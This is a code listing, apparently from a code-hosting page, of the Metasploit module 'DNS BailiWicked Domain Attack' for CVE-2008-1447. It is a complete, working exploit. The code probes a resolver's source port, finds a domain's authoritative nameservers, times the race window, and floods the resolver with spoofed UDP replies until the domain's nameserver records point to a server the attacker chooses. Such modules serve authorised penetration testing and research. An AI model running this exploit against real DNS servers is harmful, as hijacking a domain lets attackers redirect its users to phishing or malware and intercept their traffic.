Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/spoof/dns/bailiwicked_domain.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/dns'6require 'resolv'78class MetasploitModule < Msf::Auxiliary9include Msf::Exploit::Capture1011def initialize(info = {})12super(update_info(info,13'Name' => 'DNS BailiWicked Domain Attack',14'Description' => %q{15This exploit attacks a fairly ubiquitous flaw in DNS implementations which16Dan Kaminsky found and disclosed ~Jul 2008. This exploit replaces the target17domains nameserver entries in a vulnerable DNS cache server. This attack works18by sending random hostname queries to the target DNS server coupled with spoofed19replies to those queries from the authoritative nameservers for that domain.20Eventually, a guessed ID will match, the spoofed packet will get accepted, and21the nameserver entries for the target domain will be replaced by the server22specified in the NEWDNS option of this exploit.23},24'Author' =>25[26'I)ruid', 'hdm',27# Cedric figured out the NS injection method28# and was cool enough to email us and share!29'Cedric Blancher <sid[at]rstack.org>'30],31'License' => MSF_LICENSE,32'References' =>33[34[ 'CVE', '2008-1447' ],35[ 'OSVDB', '46776'],36[ 'US-CERT-VU', '800113' ],37[ 'URL', 'http://www.caughq.org/exploits/CAU-EX-2008-0003.txt' ],38],39'DisclosureDate' => '2008-07-21'40))4142register_options(43[44OptEnum.new('SRCADDR', [true, 'The source address to use for sending the queries', 'Real', ['Real', 'Random'], 'Real']),45OptPort.new('SRCPORT', [true, "The target server's source query port (0 for automatic)", nil]),46OptString.new('DOMAIN', [true, 'The domain to hijack', 'example.com']),47OptString.new('NEWDNS', [true, 'The hostname of the replacement DNS server', nil]),48OptAddress.new('RECONS', [true, 'The nameserver used for reconnaissance', '208.67.222.222']),49OptInt.new('XIDS', [true, 'The number of XIDs to try for each query (0 for automatic)', 0]),50OptInt.new('TTL', [true, 'The TTL for the malicious host entry', rand(20000)+30000]),51])5253deregister_options('FILTER','PCAPFILE')54end5556def auxiliary_commands57return {58"racer" => "Determine the size of the window for the target server"59}60end6162def cmd_racer(*args)63targ = args[0] || rhost()64dom = args[1] || "example.com"6566if !(targ and targ.length > 0)67print_status("usage: racer [dns-server] [domain]")68return69end7071calculate_race(targ, dom)72end7374def check75targ = rhost7677srv_sock = Rex::Socket.create_udp(78'PeerHost' => targ,79'PeerPort' => 5380)8182random = false83ports = {}84lport = nil85reps = 086871.upto(30) do |i|8889req = Resolv::DNS::Message.new90txt = "spoofprobe-check-#{i}-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"91req.add_question(txt, Resolv::DNS::Resource::IN::TXT)92req.rd = 19394srv_sock.put(req.encode)95res, addr = srv_sock.recvfrom(65535, 1.0)969798if res and res.length > 099reps += 1100res = Resolv::DNS::Message.decode(res)101res.each_answer do |name, ttl, data|102if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)103t_addr, t_port = $1.split(':')104105vprint_status(" >> ADDRESS: #{t_addr} PORT: #{t_port}")106t_port = t_port.to_i107if(lport and lport != t_port)108random = true109end110lport = t_port111ports[t_port] ||=0112ports[t_port] +=1113end114end115end116117118if(i>5 and ports.keys.length == 0)119break120end121end122123srv_sock.close124125if(ports.keys.length == 0)126vprint_error("ERROR: This server is not replying to recursive requests")127return Exploit::CheckCode::Unknown128end129130if(reps < 30)131vprint_warning("WARNING: This server did not reply to all of our requests")132end133134if(random)135ports_u = ports.keys.length136ports_r = ((ports.keys.length/30.0)*100).to_i137vprint_status("PASS: This server does not use a static source port. Randomness: #{ports_u}/30 %#{ports_r}")138if(ports_r != 100)139vprint_status("INFO: This server's source ports are not really random and may still be exploitable, but not by this tool.")140# Not exploitable by this tool, so we lower this to Appears on purpose to lower the user's confidence141return Exploit::CheckCode::Appears142end143else144vprint_error("FAIL: This server uses a static source port and is vulnerable to poisoning")145return Exploit::CheckCode::Vulnerable146end147148Exploit::CheckCode::Safe149end150151def run152check_pcaprub_loaded # Check first153target = rhost()154source = Rex::Socket.source_address(target)155saddr = datastore['SRCADDR']156sport = datastore['SRCPORT']157domain = datastore['DOMAIN'] + '.'158newdns = datastore['NEWDNS']159recons = datastore['RECONS']160xids = datastore['XIDS'].to_i161newttl = datastore['TTL'].to_i162xidbase = rand(20001) + 20000163numxids = xids164address = Rex::Text.rand_text(4).unpack("C4").join(".")165166srv_sock = Rex::Socket.create_udp(167'PeerHost' => target,168'PeerPort' => 53169)170171# Get the source port via the metasploit service if it's not set172if sport.to_i == 0173req = Resolv::DNS::Message.new174txt = "spoofprobe-#{$$}#{(rand()*1000000).to_i}.red.metasploit.com"175req.add_question(txt, Resolv::DNS::Resource::IN::TXT)176req.rd = 1177178srv_sock.put(req.encode)179res, addr = srv_sock.recvfrom()180181if res and res.length > 0182res = Resolv::DNS::Message.decode(res)183res.each_answer do |name, ttl, data|184if (name.to_s == txt and data.strings.join('') =~ /^([^\s]+)\s+.*red\.metasploit\.com/m)185t_addr, t_port = $1.split(':')186sport = t_port.to_i187188print_status("Switching to target port #{sport} based on Metasploit service")189if target != t_addr190print_status("Warning: target address #{target} is not the same as the nameserver's query source address #{t_addr}!")191end192end193end194end195end196197# Verify its not already poisoned198begin199query = Resolv::DNS::Message.new200query.add_question(domain, Resolv::DNS::Resource::IN::NS)201query.rd = 0202203begin204cached = false205srv_sock.put(query.encode)206answer, addr = srv_sock.recvfrom()207208if answer and answer.length > 0209answer = Resolv::DNS::Message.decode(answer)210answer.each_answer do |name, ttl, data|211212if((name.to_s + ".") == domain and data.name.to_s == newdns)213t = Time.now + ttl214print_error("Failure: This domain is already using #{newdns} as a nameserver")215print_error(" Cache entry expires on #{t}")216srv_sock.close217close_pcap218return219end220end221222end223end until not cached224rescue ::Interrupt225raise $!226rescue ::Exception => e227print_error("Error checking the DNS name: #{e.class} #{e} #{e.backtrace}")228end229230231res0 = Net::DNS::Resolver.new(:nameservers => [recons], :dns_search => false, :recursive => true) # reconnaissance resolver232233print_status "Targeting nameserver #{target} for injection of #{domain} nameservers as #{newdns}"234235# Look up the nameservers for the domain236print_status "Querying recon nameserver for #{domain}'s nameservers..."237answer0 = res0.send(domain, Net::DNS::NS)238#print_status " Got answer with #{answer0.header.anCount} answers, #{answer0.header.nsCount} authorities"239240barbs = [] # storage for nameservers241answer0.answer.each do |rr0|242print_status " Got an #{rr0.type} record: #{rr0.inspect}"243if rr0.type == 'NS'244print_status " Querying recon nameserver for address of #{rr0.nsdname}..."245answer1 = res0.send(rr0.nsdname) # get the ns's answer for the hostname246#print_status " Got answer with #{answer1.header.anCount} answers, #{answer1.header.nsCount} authorities"247answer1.answer.each do |rr1|248print_status " Got an #{rr1.type} record: #{rr1.inspect}"249res2 = Net::DNS::Resolver.new(:nameservers => rr1.address, :dns_search => false, :recursive => false, :retry => 1)250print_status " Checking Authoritativeness: Querying #{rr1.address} for #{domain}..."251answer2 = res2.send(domain, Net::DNS::SOA)252if answer2 and answer2.header.auth? and answer2.header.anCount >= 1253nsrec = {:name => rr0.nsdname, :addr => rr1.address}254barbs << nsrec255print_status " #{rr0.nsdname} is authoritative for #{domain}, adding to list of nameservers to spoof as"256end257end258end259end260261if barbs.length == 0262print_status( "No DNS servers found.")263srv_sock.close264close_pcap265return266end267268if(xids == 0)269print_status("Calculating the number of spoofed replies to send per query...")270qcnt = calculate_race(target, domain, 100)271numxids = ((qcnt * 1.5) / barbs.length).to_i272if(numxids == 0)273print_status("The server did not reply, giving up.")274srv_sock.close275close_pcap276return277end278print_status("Sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")279end280281# Flood the target with queries and spoofed responses, one will eventually hit282queries = 0283responses = 0284285open_pcap unless self.capture286287print_status( "Attempting to inject poison records for #{domain}'s nameservers into #{target}:#{sport}...")288289while true290randhost = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain # randomize the hostname291292# Send spoofed query293req = Resolv::DNS::Message.new294req.id = rand(2**16)295req.add_question(randhost, Resolv::DNS::Resource::IN::A)296297req.rd = 1298299src_ip = source300301if(saddr == 'Random')302src_ip = Rex::Text.rand_text(4).unpack("C4").join(".")303end304305p = PacketFu::UDPPacket.new306p.ip_saddr = src_ip307p.ip_daddr = target308p.ip_ttl = 255309p.udp_sport = (rand((2**16)-1024)+1024).to_i310p.udp_dport = 53311p.payload = req.encode312p.recalc313314capture_sendto(p, target)315queries += 1316317# Send evil spoofed answer from ALL nameservers (barbs[*][:addr])318req.add_answer(randhost, newttl, Resolv::DNS::Resource::IN::A.new(address))319req.add_authority(domain, newttl, Resolv::DNS::Resource::IN::NS.new(Resolv::DNS::Name.create(newdns)))320req.add_additional(newdns, newttl, Resolv::DNS::Resource::IN::A.new(address)) # Ignored321req.qr = 1322req.aa = 1323324# Reuse our PacketFu object325p.udp_sport = 53326p.udp_dport = sport.to_i327328xidbase.upto(xidbase+numxids-1) do |id|329req.id = id330p.payload = req.encode331barbs.each do |barb|332p.ip_saddr = barb[:addr].to_s333p.recalc334capture_sendto(p, target)335responses += 1336end337end338339# status update340if queries % 1000 == 0341print_status("Sent #{queries} queries and #{responses} spoofed responses...")342if(xids == 0)343print_status("Recalculating the number of spoofed replies to send per query...")344qcnt = calculate_race(target, domain, 25)345numxids = ((qcnt * 1.5) / barbs.length).to_i346if(numxids == 0)347print_status("The server has stopped replying, giving up.")348srv_sock.close349close_pcap350return351end352print_status("Now sending #{numxids} spoofed replies from each nameserver (#{barbs.length}) for each query")353end354end355356# every so often, check and see if the target is poisoned...357if queries % 250 == 0358begin359query = Resolv::DNS::Message.new360query.add_question(domain, Resolv::DNS::Resource::IN::NS)361query.rd = 0362363srv_sock.put(query.encode)364answer, addr = srv_sock.recvfrom()365366if answer and answer.length > 0367answer = Resolv::DNS::Message.decode(answer)368answer.each_answer do |name, ttl, data|369if((name.to_s + ".") == domain and data.name.to_s == newdns)370print_good("Poisoning successful after #{queries} queries and #{responses} responses: #{domain} == #{newdns}")371srv_sock.close372close_pcap373return374end375end376end377rescue ::Interrupt378raise $!379rescue ::Exception => e380print_error("Error querying the DNS name: #{e.class} #{e} #{e.backtrace}")381end382end383384end385386end387388#389# Send a recursive query to the target server, then flood390# the server with non-recursive queries for the same entry.391# Calculate how many non-recursive queries we receive back392# until the real server responds. This should give us a393# ballpark figure for ns->ns latency. We can repeat this394# a few times to account for each nameserver the cache server395# may query for the target domain.396#397def calculate_race(server, domain, num=50)398399q_beg_t = nil400q_end_t = nil401cnt = 0402403times = []404405hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain406407sock = Rex::Socket.create_udp(408'PeerHost' => server,409'PeerPort' => 53410)411412413req = Resolv::DNS::Message.new414req.add_question(hostname, Resolv::DNS::Resource::IN::A)415req.rd = 1416req.id = 1417418q_beg_t = Time.now.to_f419sock.put(req.encode)420req.rd = 0421422while(times.length < num)423res, addr = sock.recvfrom(65535, 0.01)424425if res and res.length > 0426res = Resolv::DNS::Message.decode(res)427428if(res.id == 1)429times << [Time.now.to_f - q_beg_t, cnt]430cnt = 0431432hostname = Rex::Text.rand_text_alphanumeric(rand(10)+10) + '.' + domain433434sock.close435sock = Rex::Socket.create_udp(436'PeerHost' => server,437'PeerPort' => 53438)439440q_beg_t = Time.now.to_f441req = Resolv::DNS::Message.new442req.add_question(hostname, Resolv::DNS::Resource::IN::A)443req.rd = 1444req.id = 1445446sock.put(req.encode)447req.rd = 0448end449450cnt += 1451end452453req.id += 1454455sock.put(req.encode)456end457458min_time = (times.map{|i| i[0]}.min * 100).to_i / 100.0459max_time = (times.map{|i| i[0]}.max * 100).to_i / 100.0460sum = 0461times.each{|i| sum += i[0]}462avg_time = ( (sum / times.length) * 100).to_i / 100.0463464min_count = times.map{|i| i[1]}.min465max_count = times.map{|i| i[1]}.max466sum = 0467times.each{|i| sum += i[1]}468avg_count = sum / times.length469470sock.close471472print_status(" race calc: #{times.length} queries | min/max/avg time: #{min_time}/#{max_time}/#{avg_time} | min/max/avg replies: #{min_count}/#{max_count}/#{avg_count}")473474475# XXX: We should subtract the timing from the target to us (calculated based on 0.50 of our non-recursive query times)476avg_count477end478end479480481